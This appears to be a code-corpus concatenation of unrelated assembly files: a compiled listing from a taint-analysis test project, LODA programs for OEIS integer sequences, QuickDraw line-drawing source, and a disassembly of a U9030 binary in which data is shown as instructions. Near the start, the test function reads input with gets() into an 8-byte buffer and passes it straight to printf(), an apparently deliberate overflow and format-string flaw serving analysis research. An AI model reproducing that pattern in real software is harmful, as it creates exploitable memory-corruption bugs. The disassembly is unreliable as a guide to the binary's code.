b = func(); lea edx, DWORD PTR $T2[ebp] push edx call _func add esp, 4 mov ecx, DWORD PTR [eax] mov DWORD PTR _b$[ebp], ecx mov edx, DWORD PTR [eax+4] mov DWORD PTR _b$[ebp+4], edx mov ecx, DWORD PTR [eax+8] mov DWORD PTR _b$[ebp+8], ecx mov edx, DWORD PTR [eax+12] mov DWORD PTR _b$[ebp+12], edx mov eax, DWORD PTR [eax+16] mov DWORD PTR _b$[ebp+16], eax ; 31 : c = func(); lea ecx, DWORD PTR $T1[ebp] push ecx call _func add esp, 4 mov edx, DWORD PTR [eax] mov DWORD PTR _c$[ebp], edx mov ecx, DWORD PTR [eax+4] mov DWORD PTR _c$[ebp+4], ecx mov edx, DWORD PTR [eax+8] mov DWORD PTR _c$[ebp+8], edx mov ecx, DWORD PTR [eax+12] mov DWORD PTR _c$[ebp+12], ecx mov edx, DWORD PTR [eax+16] mov DWORD PTR _c$[ebp+16], edx ; 32 : z += c.c + b.b; mov eax, DWORD PTR _c$[ebp+8] add eax, DWORD PTR _b$[ebp+4] add eax, DWORD PTR _z$[ebp] mov DWORD PTR _z$[ebp], eax ; 33 : return z; mov eax, DWORD PTR _z$[ebp] ; 34 : } mov ecx, DWORD PTR __$ArrayPad$[ebp] xor ecx, ebp call @__security_check_cookie@4 mov esp, ebp pop ebp ret 0 _main ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-rets.c _TEXT SEGMENT _s$ = -32 ; size = 20 _buf$ = -12 ; size = 8 __$ArrayPad$ = -4 ; size = 4 $T1 = 8 ; size = 4 _func PROC ; 15 : { push ebp mov ebp, esp sub esp, 32 ; 00000020H mov eax, DWORD PTR ___security_cookie xor eax, ebp mov DWORD PTR __$ArrayPad$[ebp], eax ; 16 : char buf[8]; ; 17 : struct S s; ; 18 : s.a = (int)gets(buf) - (int)buf; lea eax, DWORD PTR _buf$[ebp] push eax call _gets add esp, 4 lea ecx, DWORD PTR _buf$[ebp] sub eax, ecx mov DWORD PTR _s$[ebp], eax ; 19 : s.b = printf(buf); lea edx, DWORD PTR _buf$[ebp] push edx call _printf add esp, 4 mov DWORD PTR _s$[ebp+4], eax ; 20 : s.c = s.a + s.b; mov eax, DWORD PTR _s$[ebp] add eax, DWORD PTR _s$[ebp+4] mov DWORD PTR _s$[ebp+8], eax ; 21 : return s; mov ecx, DWORD PTR $T1[ebp] mov edx, DWORD PTR _s$[ebp] mov DWORD PTR [ecx], edx mov eax, DWORD PTR _s$[ebp+4] mov DWORD PTR [ecx+4], eax mov edx, DWORD PTR _s$[ebp+8] mov DWORD PTR [ecx+8], edx mov eax, DWORD PTR _s$[ebp+12] mov DWORD PTR [ecx+12], eax mov edx, DWORD PTR _s$[ebp+16] mov DWORD PTR [ecx+16], edx mov eax, DWORD PTR $T1[ebp] ; 22 : } mov ecx, DWORD PTR __$ArrayPad$[ebp] xor ecx, ebp call @__security_check_cookie@4 mov esp, ebp pop ebp ret 0 _func ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT _printf _TEXT SEGMENT __Result$ = -8 ; size = 4 __ArgList$ = -4 ; size = 4 __Format$ = 8 ; size = 4 _printf PROC ; COMDAT ; 950 : { push ebp mov ebp, esp sub esp, 8 ; 951 : int _Result; ; 952 : va_list _ArgList; ; 953 : __crt_va_start(_ArgList, _Format); lea eax, DWORD PTR __Format$[ebp+4] mov DWORD PTR __ArgList$[ebp], eax ; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList); mov ecx, DWORD PTR __ArgList$[ebp] push ecx push 0 mov edx, DWORD PTR __Format$[ebp] push edx push 1 call DWORD PTR __imp____acrt_iob_func add esp, 4 push eax call __vfprintf_l add esp, 16 ; 00000010H mov DWORD PTR __Result$[ebp], eax ; 955 : __crt_va_end(_ArgList); mov DWORD PTR __ArgList$[ebp], 0 ; 956 : return _Result; mov eax, DWORD PTR __Result$[ebp] ; 957 : } mov esp, ebp pop ebp ret 0 _printf ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT __vfprintf_l _TEXT SEGMENT __Stream$ = 8 ; size = 4 __Format$ = 12 ; size = 4 __Locale$ = 16 ; size = 4 __ArgList$ = 20 ; size = 4 __vfprintf_l PROC ; COMDAT ; 638 : { push ebp mov ebp, esp ; 639 : return __stdio_common_vfprintf(_CRT_INTERNAL_LOCAL_PRINTF_OPTIONS, _Stream, _Format, _Locale, _ArgList); mov eax, DWORD PTR __ArgList$[ebp] push eax mov ecx, DWORD PTR __Locale$[ebp] push ecx mov edx, DWORD PTR __Format$[ebp] push edx mov eax, DWORD PTR __Stream$[ebp] push eax call ___local_stdio_printf_options mov ecx, DWORD PTR [eax+4] push ecx mov edx, DWORD PTR [eax] push edx call DWORD PTR __imp____stdio_common_vfprintf add esp, 24 ; 00000018H ; 640 : } pop ebp ret 0 __vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\corecrt_stdio_config.h ; COMDAT ___local_stdio_printf_options _TEXT SEGMENT ___local_stdio_printf_options PROC ; COMDAT ; 73 : { push ebp mov ebp, esp ; 74 : static unsigned __int64 _OptionsStorage; ; 75 : return &_OptionsStorage; mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; 76 : } pop ebp ret 0 ___local_stdio_printf_options ENDP _TEXT ENDS END
22.440895
127
0.632118
07de28d84bdaf8d4fdfd8fb0407e023a1d9e84fc
318
asm
Assembly
programs/oeis/047/A047444.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/047/A047444.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/047/A047444.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A047444: Numbers that are congruent to {0, 3, 5, 6} mod 8. ; 0,3,5,6,8,11,13,14,16,19,21,22,24,27,29,30,32,35,37,38,40,43,45,46,48,51,53,54,56,59,61,62,64,67,69,70,72,75,77,78,80,83,85,86,88,91,93,94,96,99,101,102,104,107,109,110,112,115,117,118,120,123,125 mov $1,$0 mul $0,4 add $1,21 mod $1,4 add $0,$1 div $0,2
31.8
198
0.644654
36d40bf9e67172fe6219fb1ff4a21efcc486c320
13,941
asm
Assembly
Quickdraw/QuickDraw Source/Lines.asm
Computer-history-Museum/MacPaint
f6b5321ab10a4422a811502252d2a2a00cf7764f
[ "MIT" ]
2
2020-10-06T18:30:23.000Z
2021-03-31T20:01:46.000Z
Quickdraw/QuickDraw Source/Lines.asm
Computer-history-Museum/MacPaint
f6b5321ab10a4422a811502252d2a2a00cf7764f
[ "MIT" ]
null
null
null
Quickdraw/QuickDraw Source/Lines.asm
Computer-history-Museum/MacPaint
f6b5321ab10a4422a811502252d2a2a00cf7764f
[ "MIT" ]
null
null
null
.INCLUDE GRAFTYPES.TEXT ;----------------------------------------------------------------- ; ; ; * *** * * ***** *** ; * * * * * * * ; * * ** * * * ; * * * * * *** *** ; * * * ** * * ; * * * * * * * ; ***** *** * * ***** *** ; ; ; ; Line Drawing Rountines ; .PROC StdLine,1 .REF CheckPic,PutPicVerb,PutPicByte,PutPicLong,DoLine ;--------------------------------------------------------------- ; ; PROCEDURE StdLine(newPt: Point); ; PARAMSIZE .EQU 4 NEWPT .EQU PARAMSIZE+8-4 LINK A6,#0 ;NO LOCAL VARS MOVEM.L D5-D7/A3-A4,-(SP) ;SAVE REGS JSR CHECKPIC ;SET UP A4,A3 AND CHECK PICSAVE BLE.S NOTPIC ;BRANCH IF NOT PICSAVE MOVE.B #FRAME,-(SP) ;PUSH VERB JSR PutPicVerb ;CHECK pnSize, pnMode, pnPat ;-------------------------------------------------------- ; ; PUT ONE OF FOUR LINE OPCODES BASED ON NEWPT AND DH,DV. ; ; line 20, pnLoc(pt), newPt(pt) ; line from 21, newPt(pt) ; short line 22, pnLoc(pt), dh,dv(-128..127) ; short line from 23, dh,dv(-128..127) ; MOVEQ #$20,D7 ;INIT OPCODE TO $20 MOVE.L PICSAVE(A3),A4 ;GET PICSAVE HANDLE MOVE.L (A4),A4 ;DE-REFERENCE PICSAVE MOVE.L PNLOC(A3),D0 ;GET CURRENT PNLOC CMP.L PICPNLOC(A4),D0 ;IS LINE FROM LAST ENDPOINT ? BNE.S NOTFROM ;NO, CONTINUE ADDQ #1,D7 ;YES, SET BIT ZERO NOTFROM MOVE NEWPT+H(A6),D6 ;GET NEWPT.H SUB D0,D6 ;CALC DH = NEWPT.H - PNLOC.H MOVE D6,D0 ;COPY DH EXT.W D0 CMP.W D6,D0 ;IS DH -128..127 ? BNE.S PUTOP ;NO, CONTINUE MOVE NEWPT+V(A6),D5 ;GET NEWPT.V SUB PNLOC+V(A3),D5 ;CALC DV = NEWPT.V - PNLOC.V MOVE D5,D0 ;COPY DV EXT.W D0 CMP.W D5,D0 ;IS DV -128..127 ? BNE.S PUTOP ;NO, CONTINUE ADDQ #2,D7 ;YES, SET BIT ONE IN OPCODE PUTOP MOVE.B D7,-(SP) JSR PutPicByte ;PUT ONE OF 4 LINE OPCODES ROR #1,D7 ;DO WE NEED STARTPT ? (BIT 0) BCS.S STARTOK ;NO, CONTINUE MOVE.L PNLOC(A3),-(SP) JSR PutPicLong ;YES, PUT STARTPT = PNLOC STARTOK ROR #1,D7 ;IS LINE SHORT ? (BIT 1) BCS.S DHDV ;YES, PUT DH,DV MOVE.L NEWPT(A6),-(SP) ;NO, PUT LONG NEWPT JSR PutPicLong ;PUT NEWPT TO THEPIC BRA.S UPDATE DHDV MOVE.B D6,-(SP) ;PUSH DH (-128..127) JSR PutPicByte ;PUT TO THEPIC MOVE.B D5,-(SP) ;PUSH DV (-128..127) JSR PutPicByte ;PUT TO THEPIC UPDATE MOVE.L PICSAVE(A3),A4 ;GET PICSAVE HANDLE MOVE.L (A4),A4 ;DE-REFERENCE PICSAVE MOVE.L NEWPT(A6),PICPNLOC(A4) ;UPDATE PICTURE SAVING STATE NOTPIC MOVE.L NEWPT(A6),-(SP) ;PUSH NEWPT JSR DoLine ;DoLine(newPt); MOVEM.L (SP)+,D5-D7/A3-A4 ;RESTORE REGS UNLINK PARAMSIZE,'STDLINE ' .PROC LineTo,2 .REF StdLine ;---------------------------------------------------------- ; ; PROCEDURE LineTo(h,v: INTEGER); ; MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT MOVE.L GRAFPROCS(A0),D0 ;IS GRAFPROCS NIL ? LEA STDLINE,A0 BEQ.S USESTD ;YES, USE STD PROC MOVE.L D0,A0 MOVE.L LINEPROC(A0),A0 ;NO, GET PROC PTR USESTD JMP (A0) ;GO TO IT .PROC Line,2 .REF LineTo ;---------------------------------------------------------- ; ; PROCEDURE Line(dh,dv: INTEGER); ; MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT MOVE PNLOC+H(A0),D0 ;GET CURRENT PENLOC.H ADD D0,6(SP) ;ADD TO DH MOVE PNLOC+V(A0),D0 ;GET CURRENT PENLOC.V ADD D0,4(SP) ;ADD TO DV JMP LineTo ;LineTo(pnLoc.h+dh,pnLoc.v+dv); .PROC MoveTo,2 ;---------------------------------------------------------- ; ; PROCEDURE MoveTo(h,v: INTEGER); ; MOVE.L (SP)+,A0 ;POP RETURN ADDR MOVE.L GRAFGLOBALS(A5),A1 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A1),A1 ;POINT TO CURRENT GRAFPORT MOVE.L (SP)+,PNLOC(A1) ;COPY POINT INTO PNLOC JMP (A0) ;RETURN .PROC MQVE,2 .DEF Moov ;---------------------------------------------------------- ; ; PROCEDURE Move(dh,dv: INTEGER); ; MOOV MOVE.L (SP)+,A0 ;POP RETURN ADDR MOVE (SP)+,D0 ;POP DV MOVE (SP)+,D1 ;POP DH MOVE.L GRAFGLOBALS(A5),A1 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A1),A1 ;GET CURRENT GRAFPORT ADD D0,PNLOC+V(A1) ;ADD DV TO PNLOC.V ADD D1,PNLOC+H(A1) ;ADD DH TO PNLOC.H JMP (A0) ;RETURN .PROC DoLine,1 .REF DrawLine,PutLine,SetSize ;---------------------------------------------------------- ; ; PROCEDURE DoLine(newPt: Point); ; ; { called by StdLine and StdPoly frame } ; MOVEM.L D6-D7/A3-A4,-(SP) ;SAVE REGS MOVE.L GRAFGLOBALS(A5),A4 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A4),A3 ;POINT TO CURRENT GRAFPORT MOVE.L 20(SP),D7 ;GET NEWPT MOVE.L PNLOC(A3),D6 ;OLDPT := THEPORT^.PNLOC ; ; CHECK IF WE ARE SAVING FOR A POLYGON ; TST.L POLYSAVE(A3) ;ARE WE SAVING FOR A POLYGON ? BEQ.S NOTPOLY ;NO, CONTINUE MOVE.L THEPOLY(A4),A1 ;YES, GET POLYHANDLE MOVE.L (A1),A0 ;DE-REFERENCE IT MOVE (A0),D0 ;GET CURRENT POLYSIZE CMP #10,D0 ;IS THIS THE FIRST POINT ? BNE.S FIRSTOK ;NO, CONTINUE MOVE.L D6,0(A0,D0) ;YES, INSTALL FIRST := OLDPT ADD #4,D0 ;BUMP INDEX FIRSTOK MOVE.L D7,0(A0,D0) ;INSTALL NEWPT AT END ADD #4,D0 ;BUMP INDEX MOVE D0,(A0) ;UPDATE INDEX CMP POLYMAX(A4),D0 ;TIME TO MAKE BIGGER ? BLT.S SIZEOK ;NO, CONTINUE ADD #256,POLYMAX(A4) ;YES, GROW IN CHUNKS MOVE.L A1,-(SP) ;PUSH POLYHANDLE MOVE POLYMAX(A4),-(SP) ;PUSH NEW SIZE JSR SETSIZE ;MAKE THEPOLY BIGGER SIZEOK BRA.S NOTRGN ;DONT SAVE FOR RGN TOO ; ; IF NOT POLY, THEN CHECK FOR RGNSAVE. ; IF RGNSAVE THEN PutLine(oldPt,newPt,rgnBuf,rgnIndex,rgnMax); ; NOTPOLY TST.L RGNSAVE(A3) ;ARE WE SAVING FOR A REGION ? BEQ.S NOTRGN MOVE.L D6,-(SP) ;PUSH OLDPT MOVE.L D7,-(SP) ;PUSH NEWPT MOVE.L RGNBUF(A4),-(SP) ;PUSH RGNBUF PEA RGNINDEX(A4) ;PUSH VAR RGNINDEX PEA RGNMAX(A4) ;PUSH VAR RGNMAX JSR PUTLINE ;ADD INVERSION PTS TO RGNBUF NOTRGN MOVE.L D6,-(SP) ;PUSH OLDPT MOVE.L D7,-(SP) ;PUSH NEWPT JSR DRAWLINE ;DRAW THE LINE MOVE.L D7,PNLOC(A3) ;UPDATE THEPORT^.PNLOC MOVEM.L (SP)+,D6-D7/A3-A4 ;RESTORE REGS MOVE.L (SP)+,(SP) ;STRIP PARAM RTS ;AND RETURN .PROC HidePen,0 .DEF ShowPen ;---------------------------------------------------------- ; ; PROCEDURE HidePen; ; MOVEQ #-1,D0 BRA.S SHARE ;---------------------------------------------------------- ; ; PROCEDURE ShowPen; ; ShowPen MOVEQ #1,D0 SHARE MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT PORT ADD D0,PNVIS(A0) ;INCREMENT/DECREMENT PNVIS RTS ;AND RETURN .PROC GetPenState,1 .DEF SetPenState ;---------------------------------------------------------- ; ; PROCEDURE GetPenState(VAR pnState: PenState); ; PROCEDURE SetPenState(pnState: PenState); ; MOVEQ #1,D0 ;SET A FLAG BRA.S SHARE ;AND SHARE CODE SetPenState CLR D0 ;CLEAR FLAG AND SHARE SHARE MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT LEA PNLOC(A0),A0 ;POINT TO PNLOC MOVE.L 4(SP),A1 ;POINT TO VAR PNSTATE TST D0 ;is this SET penstate ? BNE.S NOTSET ;NO, CONTINUE EXG A0,A1 ;YES, SWAP SRC AND DST NOTSET MOVE.L (A0)+,(A1)+ ;COPY PNLOC FROM THEPORT MOVE.L (A0)+,(A1)+ ;COPY PNSIZE FROM THEPORT MOVE.W (A0)+,(A1)+ ;COPY PNMODE FROM THEPORT MOVE.L (A0)+,(A1)+ ;COPY PNPAT FROM THEPORT MOVE.L (A0)+,(A1)+ ;ALL 8 BYTES MOVE.L (SP)+,(SP) ;STRIP 4 BYTES RTS ;AND RETURN .PROC GetPen,1 ;---------------------------------------------------------- ; ; PROCEDURE GetPen(VAR pt: Point); ; { inquire the current pen location } ; MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT MOVE.L 4(SP),A1 ;POINT TO VAR PT MOVE.L PNLOC(A0),(A1) ;GET PNLOC FROM THEPORT MOVE.L (SP)+,(SP) ;STRIP 4 BYTES RTS ;AND RETURN .PROC PenSize,2 ;---------------------------------------------------------- ; ; PROCEDURE PenSize(width,height: INTEGER); ; { set the pen width and height } ; MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT MOVE.L 4(SP),PNSIZE(A0) ;SET PEN WIDTH AND HEIGHT MOVE.L (SP)+,(SP) ;STRIP 4 BYTES RTS ;AND RETURN .PROC PenMode,1 .REF PortWord ;---------------------------------------------------------- ; ; PROCEDURE PenMode(mode: INTEGER); ; { set the transfer mode for line drawing } ; MOVEQ #PNMODE,D0 ;PUT PORT OFFSET IN D0 JMP PORTWORD ;INSTALL PARAM INTO THEPORT .PROC PenPat,1 ;---------------------------------------------------------- ; ; PROCEDURE PenPat(pat: Pattern); ; { set the pattern for line drawing } ; MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT LEA PNPAT(A0),A0 ;POINT TO PNPAT MOVE.L 4(SP),A1 ;POINT TO INPUT PATTERN MOVE.L (A1)+,(A0)+ ;COPY PATTERN INTO THEPORT MOVE.L (A1)+,(A0)+ ;ALL 8 BYTES MOVE.L (SP)+,(SP) ;STRIP 4 BYTES RTS ;AND RETURN .PROC PenNormal,0 ;---------------------------------------------------------- ; ; PROCEDURE PenNormal; ; { restore all line drawing parameters to normal } ; MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO QUICKDRAW GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT MOVE.L #$00010001,PNSIZE(A0) ;PEN SIZE:=1,1 MOVE #8,PNMODE(A0) ;PENMODE:=PATTERN COPY MOVEQ #-1,D0 MOVE.L D0,PNPAT(A0) ;PNPAT:=BLACK MOVE.L D0,PNPAT+4(A0) RTS .END
40.060345
79
0.388494
12011eecc892903221a0ed40be0dff5564512297
651
asm
Assembly
oeis/312/A312656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/312/A312656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/312/A312656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A312656: Coordination sequence Gal.6.201.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Jon Maiga ; 1,4,8,14,20,24,28,32,38,44,48,52,56,60,66,72,76,80,84,90,96,100,104,108,112,118,124,128,132,136,142,148,152,156,160,164,170,176,180,184,188,194,200,204,208,212,216,222,228,232 mul $0,2 mov $1,$0 mov $2,$0 mul $0,13 sub $0,1 seq $1,315762 ; Coordination sequence Gal.6.627.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mod $0,$1 add $2,9 add $0,$2 sub $0,8
43.4
182
0.728111
638cad36355e89024ec2c76adce95b1a7ae7a443
1,372
asm
Assembly
programs/oeis/138/A138407.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/138/A138407.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/138/A138407.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A138407: a(n) = p^4*(p-1), where p = prime(n). ; 16,162,2500,14406,146410,342732,1336336,2345778,6156502,19803868,27705630,67469796,113030440,143589642,224465326,410305012,702806938,830750460,1329973986,1778817670,2044673352,3038106318,3891582322,5521317208,8498810976,10406040100,11480189862,13894437706,15245081388,18261304432,32778224766,38284989730,47909449096,51515543658,72946891348,77982840150,94781419356,114357705282,129114189286,154068147052,182739371218,193190961780,252864038590,266397696192,295203142276,310511361798,416245082610,549000103902,600083752066,627013333668,683772560872,776548456558,809616614640,992281500250,1116792422656,1253499846982,1403278638028,1456266729870,1624905685716,1745755065880,1808817913722,2152054833892,2718159444306,2900035070710,2994552587832,3190980362236,3961192197930,4333700367696,5016421239226,5162748293148,5465645814112,5946491753638,6639652379886,7200758854452,7799174541018,8219747159422,8884441475908,9836876364876,10342784640400,11417036648088,12883455853378,13194036274020,14838074122030,15185718052272,16267926122358,17023042140442,18208047514048,19889764589256,20775980702860,21230779490382,22164270355186,25163436445918,27337079396646,28478823794890,30876746004498,32134804148662,34098465996988,38313712570120,39055055425002,46257570590940 seq $0,40 ; The prime numbers. mov $1,$0 sub $0,1 pow $1,4 mul $0,$1
152.444444
1,252
0.887026
2dd2caa23482d105cbae459161da54fc1d039abb
453
asm
Assembly
programs/oeis/020/A020876.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/020/A020876.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/020/A020876.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A020876: a(n) = ((5+sqrt(5))/2)^n + ((5-sqrt(5))/2)^n. ; 2,5,15,50,175,625,2250,8125,29375,106250,384375,1390625,5031250,18203125,65859375,238281250,862109375,3119140625,11285156250,40830078125,147724609375,534472656250,1933740234375,6996337890625,25312988281250,91583251953125,331351318359375,1198840332031250,4337445068359375 add $0,1 mov $1,2 mov $2,2 lpb $0 sub $0,1 sub $2,$1 mul $1,5 sub $2,3 add $1,$2 lpe sub $1,3 div $1,5 add $1,2
26.647059
272
0.726269
0f49490b41d105dedc5e8b969765e135734aa3f0
35,892
asm
Assembly
U9030/Source/sl$int.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
2
2021-02-09T21:54:54.000Z
2021-09-04T03:30:50.000Z
U9030/Source/sl$int.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
null
null
null
U9030/Source/sl$int.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
null
null
null
0000: START 0000: STRT EQU x'8000' 0000: STD 4,X'3D9'(,R14) 0004: DC XL6'E840C1C7C1C9' 000A: CLC X'040'(65,R4),X'4C5'(R12) 0010: DC XL4'E5C9C3C5' 0014: STH 12,X'9D9'(R5,R13) 0018: OC X'040'(218,R4),X'040'(R4) 001E: DC XL4'C3D5E3D9' 0022: MVZ X'4D5'(65,R14),X'9E3'(R12) 0028: STH 13,X'6C6'(R6,R12) 002C: STD 13,X'9D5'(R3,R12) 0030: DC XL10'C5C4C5E5C9C3C540C9E2' 003A: STH 13,X'6C6'(R6,R12) 003E: STD 13,X'9D5'(R3,R12) 0042: DC XL6'C540C4C9E2C3' 0048: STH 12,X'240'(R9,R14) 004C: CLC X'340'(215,R14),X'7D9'(R13) 0052: DC XL2'C5D7' 0054: XC X'4C4'(198,R12),X'5E5'(R12) 005A: DC XL12'C9C3C540C8C1E240C2C1C440' 0066: XC X'240'(229,R12),X'0000' 006C: DC XL12'000000130000000000000000' 0078: BALR R0,R0 007A: SSM X'0400',164 007E: DC XL12'000400000000000000000000' 008A: SSM X'0000',136 008E: DC XL8'0000000000000000' 0096: SSM X'0000',120 009A: SSM X'0000',112 009E: DC XL8'000000000000270B' 00A6: STH 4,X'0F00'(R11) 00AA: DC XL2'000E' 00AC: STH 4,X'040'(,R4) 00B0: STH 4,X'040'(,R4) 00B4: STH 4,X'040'(,R4) 00B8: STH 4,X'040'(,R4) 00BC: STH 4,X'040'(,R4) 00C0: STH 4,X'040'(,R4) 00C4: STH 4,X'040'(,R4) 00C8: STH 4,X'040'(,R4) 00CC: STH 4,X'040'(,R4) 00D0: STH 4,X'040'(,R4) 00D4: STH 4,X'040'(,R4) 00D8: STH 4,X'040'(,R4) 00DC: STH 4,X'040'(,R4) 00E0: STH 4,X'040'(,R4) 00E4: STH 4,X'040'(,R4) 00E8: STH 4,X'040'(,R4) 00EC: STH 4,X'040'(,R4) 00F0: STH 4,X'040'(,R4) 00F4: STH 4,X'040'(,R4) 00F8: STH 4,X'040'(,R4) 00FC: STH 4,X'040'(,R4) 0100: STH 4,X'040'(,R4) 0104: STH 4,X'040'(,R4) 0108: STH 4,X'040'(,R4) 010C: STH 4,X'040'(,R4) 0110: STH 4,X'040'(,R4) 0114: STH 4,X'040'(,R4) 0118: STH 4,X'040'(,R4) 011C: STH 4,X'040'(,R4) 0120: STH 4,X'040'(,R4) 0124: STH 4,X'040'(,R4) 0128: STH 4,X'040'(,R4) 012C: STH 4,X'040'(,R4) 0130: STH 4,X'040'(,R4) 0134: STH 4,X'040'(,R4) 0138: STH 4,X'040'(,R4) 013C: STH 4,X'040'(,R4) 0140: STH 4,X'040'(,R4) 0144: STH 4,X'040'(,R4) 0148: STH 4,X'040'(,R4) 014C: STH 4,X'040'(,R4) 0150: STH 4,X'040'(,R4) 0154: STH 4,X'040'(,R4) 0158: STH 4,X'040'(,R4) 015C: STH 4,X'040'(,R4) 0160: STH 4,X'040'(,R4) 0164: STH 4,X'040'(,R4) 0168: STH 4,X'040'(,R4) 016C: STH 4,X'040'(,R4) 0170: STH 4,X'040'(,R4) 0174: STH 4,X'040'(,R4) 0178: STH 4,X'040'(,R4) 017C: STH 4,X'040'(,R4) 0180: STH 4,X'040'(,R4) 0184: STH 4,X'040'(,R4) 0188: STH 4,X'040'(,R4) 018C: STH 4,X'040'(,R4) 0190: STH 4,X'040'(,R4) 0194: STH 4,X'040'(,R4) 0198: STH 4,X'040'(,R4) 019C: STH 4,X'040'(,R4) 01A0: STH 4,X'040'(,R4) 01A4: STH 4,X'040'(,R4) 01A8: STH 4,X'040'(,R4) 01AC: STH 4,X'040'(,R4) 01B0: STH 4,X'040'(,R4) 01B4: STH 4,X'040'(,R4) 01B8: STH 4,X'040'(,R4) 01BC: STH 4,X'040'(,R4) 01C0: STH 4,X'040'(,R4) 01C4: STH 4,X'040'(,R4) 01C8: STH 4,X'040'(,R4) 01CC: STH 4,X'040'(,R4) 01D0: STH 4,X'040'(,R4) 01D4: STH 4,X'040'(,R4) 01D8: STH 4,X'040'(,R4) 01DC: STH 4,X'040'(,R4) 01E0: STH 4,X'040'(,R4) 01E4: STH 4,X'040'(,R4) 01E8: STH 4,X'040'(,R4) 01EC: STH 4,X'040'(,R4) 01F0: STH 4,X'040'(,R4) 01F4: STH 4,X'040'(,R4) 01F8: STH 4,X'040'(,R4) 01FC: STH 4,X'040'(,R4) 0200: STH 4,X'040'(,R4) 0204: STH 4,X'040'(,R4) 0208: STH 4,X'040'(,R4) 020C: STH 4,X'040'(,R4) 0210: STH 4,X'040'(,R4) 0214: STH 4,X'040'(,R4) 0218: STH 4,X'040'(,R4) 021C: STH 4,X'040'(,R4) 0220: STH 4,X'040'(,R4) 0224: STH 4,X'040'(,R4) 0228: STH 4,X'040'(,R4) 022C: STH 4,X'040'(,R4) 0230: STH 4,X'040'(,R4) 0234: STH 4,X'040'(,R4) 0238: STH 4,X'040'(,R4) 023C: STH 4,X'040'(,R4) 0240: STH 4,X'040'(,R4) 0244: STH 4,X'040'(,R4) 0248: STH 4,X'040'(,R4) 024C: STH 4,X'040'(,R4) 0250: STH 4,X'040'(,R4) 0254: STH 4,X'040'(,R4) 0258: STH 4,X'040'(,R4) 025C: STH 4,X'040'(,R4) 0260: STH 4,X'040'(,R4) 0264: STH 4,X'040'(,R4) 0268: STH 4,X'040'(,R4) 026C: STH 